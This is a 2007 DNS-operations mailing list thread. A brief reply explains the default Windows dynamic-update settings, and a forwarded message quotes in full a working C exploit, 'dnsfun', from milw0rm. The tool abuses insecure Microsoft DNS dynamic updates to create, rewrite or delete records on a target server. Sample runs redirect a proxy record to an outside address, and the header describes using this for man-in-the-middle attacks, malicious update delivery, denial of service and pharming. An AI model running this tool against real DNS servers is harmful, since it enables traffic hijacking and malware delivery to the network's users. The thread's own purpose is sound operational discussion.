[dns-operations] "Exploiting Microsoft DNS Dynamic Updates for Funand profit"
Stasiniewicz, Adam
stasinia at msoe.edu
Fri Mar 23 04:59:28 UTC 2007
For the record, the default setting in Server 2003 are as follows. For zones integrated with Active Directory, Dynamic Updates are enabled but require authentication via Kerberos. Also, computer accounts have only permission to update their own records, they cannot update that of other computers or add/delete records. For zones operating in standard (i.e. classic, non-AD integrated) dynamic updates are disable. I don't have a Server 2000 box in front of me, but I believe it has the same behavior.
Though a Windows DNS server with badly configure Dynamic Update settings is vulnerable to a wide range of attacks, BIND is equally vulnerable when configured to allow Dynamic Updates from any source.
My $0.02,
Adam Stasiniewicz, MCSE
________________________________
From: dns-operations-bounces at lists.oarci.net on behalf of Gadi Evron
Sent: Thu 3/22/2007 11:05 PM
To: dns-operations at lists.oarci.net
Subject: [dns-operations] "Exploiting Microsoft DNS Dynamic Updates for Funand profit"
// http://www.milw0rm.com/exploits/3544
/*
Exploiting Microsoft DNS Dynamic Updates for Fun and profit
Andres Tarasco Acuÿa - (c) 2007
Url: http://www.514.es <http://www.514.es/>
By default, most Microsoft DNS servers integrated with active directory
allow
insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records.
There are several attack scenarios:
+ MITM attacks: Changing dns records for the network proxy and relay HTTP
queries.
This attack vector is the most reliable and also allows us to exploit
automatic
updates for most Windows software, by deploying custom binaries to the
client.
+ Denial of service: by deleting / changing critical dns records
+ Pharming: like mitm attacks, poisoning several dns records.
dnsfun exploits that weak configuration and allows remote users to modify
dns records.
Here are some examples of what can be done. Example:
D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:
D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q proxy.mydomain -u 66.6.66.6
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es <http://www.514.es/> - (c) 2007 Andres Tarasco Acuÿa
[+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
[+] Host proxy.mydomain resolved as 192.168.1.200
[+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
[+] Trying Nonsecure Dynamic Update...
[?] Host Updated. Checking...(0)
[+] Host proxy.mydomain resolved as 66.6.66.6
D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es <http://www.514.es/> - (c) 2007 Andres Tarasco Acuÿa
[+] Gathering Credentials..
[+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
[+] Host Created. Rechecking Record...
[+] Host atarasco.mydomain.com resolved as CNAME www.514.es
This isn't a new vulnerability but AFAIK those attack vectors were never
exploited.
Check the usage function for more information
*/
#include <stdio.h>
#include <winsock2.h>
#include <Windns.h>
#pragma comment(lib,"Dnsapi.lib")
#pragma comment(lib, "ws2_32.lib")
char TargetDnsServer[256]=""; // -s
char TargetDnsRecord[256]=""; // -q
char NewIpAddress[256]=""; // -i
char DeleteDnsRecord[256]=""; //-d
char CreateDnsRecord[256]="";
WORD CreationType=DNS_TYPE_A;
#define DELETERECORD (DeleteDnsRecord[0]!='\0')
#define UPDATERECORD ( (TargetDnsRecord[0]!='\0') &&
(NewIpAddress[0]!='\0') )
#define CREATERECORD ( (CreateDnsRecord[0]!='\0') &&
(NewIpAddress[0]!='\0') )
#define QUERYRECORD (TargetDnsRecord[0]!='\0')
#define _DBG_
#undef _DBG_
void usage(char *argv[]);
DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)
{
DNS_STATUS status;
WORD type= DNS_TYPE_ANY;
DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME
|DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_TREAT_AS_FQDN;
PVOID* reserved=NULL;
DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
DNS_RECORDA *result;
IN_ADDR ipaddr;
int i;
int count=0;
if (!name) {
return (NULL);
} else {
memset(records,'\0',sizeof(DNS_RECORDA));
status = DnsQuery_A( name, //PCWSTR pszName,
type, //WORD wType,
fOptions, //DWORD fOptions,
servers, //PIP4_ARRAY aipServers,
(DNS_RECORDA**)&records, //PDNS_RECORD* ppQueryResultsSet,
reserved ); //PVOID* pReserved
if (status == ERROR_SUCCESS)
{
fflush(stdout);
result=records;
do {
#ifdef _DBG_
printf("[+] Record %i---\n",count);
count++;
printf("[+] DNS wDataLength %i\n",result->wDataLength);
printf("[+] DNS Flags DW: %x\n",result->Flags.DW);
printf("[+] DNS Flags
S.Section: %x\n",result->Flags.S.Section);
printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
printf("[+] DNS Flags
S.CharSet: %x\n",result->Flags.S.CharSet);
printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
printf("[+] DNS Flags
S.Reserved: %x\n",result->Flags.S.Reserved);
#endif
switch (result->wType) {
case DNS_TYPE_A:
ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
printf("[+] Host %s resolved as %s\n",
result->pName,inet_ntoa(ipaddr));
break;
case DNS_TYPE_NS:
printf("[+] Domain %s Dns
Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
break;
case DNS_TYPE_CNAME:
printf("[+] Host %s resolved as CNAME %s\n",
result->pName,result->Data.Cname.pNameHost);
//DnsQueryA(result->Data.Cname.pNameHost,servers);
break;
case DNS_TYPE_SOA:
printf("[+] SOA
Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);
printf("[+] SOA
Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);
printf("[+] SOA Information: SerialNo %x - Refresh %i -
retry %i - Expire %i - DefaultTld %i\n",
result->Data.Soa.dwSerialNo,
result->Data.Soa.dwRefresh,
result->Data.Soa.dwRetry,
result->Data.Soa.dwExpire,
result->Data.Soa.dwDefaultTtl);
break;
case DNS_TYPE_MX:
printf("[+] %s MX Server resolved as %s (Preference %i)\n",
result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);
break;
case DNS_TYPE_TEXT:
printf("[+] Text: %i
bytes\n",result->Data.Txt.dwStringCount); //:?
break;
case DNS_TYPE_SRV:
printf("[+] SRV Record. NameTarget %s
",result->Data.Srv.pNameTarget);
printf("(Priority %i - Port %i -
Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
//printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);
break;
default:
printf("[-] DnsQuery returned unknown wtype
%x\n",result->wType);
break;
}
result=result->pNext;
} while (result!=NULL);
} else {
if (status==9003) printf("[-] Record not found\n");
else printf("[-] Query Error: %i - %i\n",status,GetLastError());
exit(-1);
}
}
return records;
}
/***********************************************************************************************/
int main(int argc, char *argv[]) {
HANDLE creds;
DNS_RECORDA *result;
DNS_STATUS status;
HANDLE ContextHandle;
DWORD Options=DNS_UPDATE_SECURITY_ON;
PVOID pReserved=NULL;
IN_ADDR ipaddr;
IP4_ARRAY *servers=NULL;
SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;
WORD i;
printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");
printf(" http://www.514.es <http://www.514.es/> - (c) 2007 Andres Tarasco Acuÿa\n\n");
if (argc==1) usage(argv);
//Init Credentials Struct
Credentials = (SEC_WINNT_AUTH_IDENTITY_A
*)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));
memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));
Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;
for(i=1;i<argc;i++) {
if ( (argv[i][0]=='-') ) {
switch (argv[i][1]) {
case 's':
case 'S':
strcpy(TargetDnsServer,argv[i+1]);
servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));
servers->AddrCount=1;
servers->AddrArray[0]=inet_addr(TargetDnsServer);
break;
case 'D':
case 'd':
strcpy(DeleteDnsRecord,argv[i+1]);
break;
case 'q':
case 'Q':
strcpy(TargetDnsRecord,argv[i+1]);
break;
case 'u':
case 'U':
strcpy(NewIpAddress,argv[i+1]);
break;
case 'c':
case 'C':
strcpy(CreateDnsRecord,argv[i+1]);
if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");
if (argv[i][2]!='\0') {
switch (argv[i][2]) {
case 'c': CreationType=DNS_TYPE_CNAME;
break;
case 'a': CreationType=DNS_TYPE_A;
break;
}
}
break;
/*
case 'f':
CreateThread(
NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);
break;
case 'au': //Uauthorization serName
Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]); break;
case 'ap':
Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv[i+1]); break;
case 'ad':
Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]); break;
*/
default:
printf("[-] Invalid argument: %s\n",argv[i]);
usage(argv);
break;
}
i++;
} else usage(argv);
}
printf("[+] Gathering Credentials..\n");
//http://msdn2.microsoft.com/en-us/library/ms682007.aspx
if (Credentials->UserLength==0) {
status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context
with default Credentials
} else {
status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context
with Custom Credentials
}
if (status == ERROR_SUCCESS) {
if (CREATERECORD) {
result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
memset(result,'\0',sizeof(DNS_RECORDA));
result->wType=CreationType; //DNS_TYPE_A by default
if (CreationType==DNS_TYPE_CNAME) {
printf("[+] Creating DNS CName Record for %s
(%s)\n",CreateDnsRecord,NewIpAddress);
result->Data.Cname.pNameHost=NewIpAddress;
} else {
printf("[+] Creating DNS A Record for %s
(%s)\n",CreateDnsRecord,NewIpAddress);
result->Data.A.IpAddress=inet_addr(NewIpAddress);
}
result->pName=CreateDnsRecord;
result->wDataLength=4;
result->Flags.S.Section=1;
result->Flags.S.CharSet=DnsCharSetAnsi;
result->pNext=NULL;
status=DnsModifyRecordsInSet_A(result, //add record
NULL, //delete record
Options,
ContextHandle,
servers,
NULL);
if (status ==ERROR_SUCCESS) {
printf("[+] Host Created. Rechecking Record...\n");
DnsRecordListFree(result,DnsFreeRecordList);
result=DnsQueryA(CreateDnsRecord,servers);
} else {
printf("[-] Error: Unable to create %s
(%i)\n",CreateDnsRecord,status);
}
} else if (DELETERECORD) {
printf("[+] Trying to resolve Host: %s before
deleting\n",DeleteDnsRecord);
result=DnsQueryA(DeleteDnsRecord,servers);
if (result!=NULL) {
printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");
i=getchar(); if (i!='y') return(-1);
printf("[+] Deleting record %s\n",DeleteDnsRecord);
status=DnsModifyRecordsInSet_A(NULL, //add record
result, //delete record
Options,
ContextHandle,
servers,
NULL);
if (status ==ERROR_SUCCESS) {
printf("[+] Host Deleted. Rechecking Record
%s...\n",DeleteDnsRecord);
DnsRecordListFree(result,DnsFreeRecordList);
result=DnsQueryA(DeleteDnsRecord,servers);
} else {
printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);
}
} else {
printf("[-] Host %s not found\n",DeleteDnsRecord);
}
} else if (UPDATERECORD) {
// exit(1);
printf("[+] Trying to resolve Host: %s before
updating\n",TargetDnsRecord);
result=DnsQueryA(TargetDnsRecord,servers);
if (result->wType==DNS_TYPE_A ) {
printf("[+] Trying to update record. Are You Sure? (Y/N)...");
i=getchar(); if (i!='y') return(-1);
result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns
record
ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
printf("[+] Trying to set ip address of the host %s to %s \n",
TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));
printf("[+] Trying to Modify Record...\n");
status=DnsReplaceRecordSetA(result,
Options, //Attempts nonsecure dynamic update. If refused,
then attempts secure dynamic update.
ContextHandle,
servers,//pServerList,
NULL);//pReserved
if (status ==ERROR_SUCCESS) {
printf("[+] Host Updated. Rechecking Record...\n");
DnsRecordListFree(result,DnsFreeRecordList);
result=DnsQueryA(TargetDnsRecord,servers);
} else {
printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);
}
} else {
printf("[-] Unable to Update Record (Type
%x)\n",result->wType);
}
} else if (QUERYRECORD) {
printf("[+] Query Information for host %s...\n",TargetDnsRecord);
result=DnsQueryA(TargetDnsRecord,servers);
DnsRecordListFree(result,DnsFreeRecordList);
} else {
printf("[-] Unknown Options\n");
return(-1);
}
} else {
printf("[-] Error Calling DnsAcquireContextHandle\n");
}
return (1);
}
/****************************************************************************/
void usage(char *argv[]) {
printf(" Usage:\n");
printf("\t%s\t -[s]d|c|q[u] <options>\n",argv[0]);
printf(" Details:\n");
printf("\t%s\t -s ip (dns Server (optional))\n",argv[0]);
printf("\t%s\t -d fqdn (Delete dns record)\n",argv[0]);
printf("\t%s\t -q fqdn (Query dns record)\n",argv[0]);
printf("\t%s\t -c[a|c] ip (Create A or CName record (default
A))\n",argv[0]);
printf("\t%s\t -u ip|fqdn (Update dns record (requires -q or
-c))\n",argv[0]);
printf("\n Examples:\n");
printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates
record)\n",argv[0]);
printf("\t%s -s 10.0.0.1 -d foo.mydomain.com (delete
foo.mydomain.com record)\n",argv[0]);
printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7
(creates record)\n",argv[0]);
printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7
(creates record)\n",argv[0]);
printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain (Query for
srv record)\n",argv[0]);
exit(0);
}
/****************************************************************************/
// milw0rm.com [2007-03-22]
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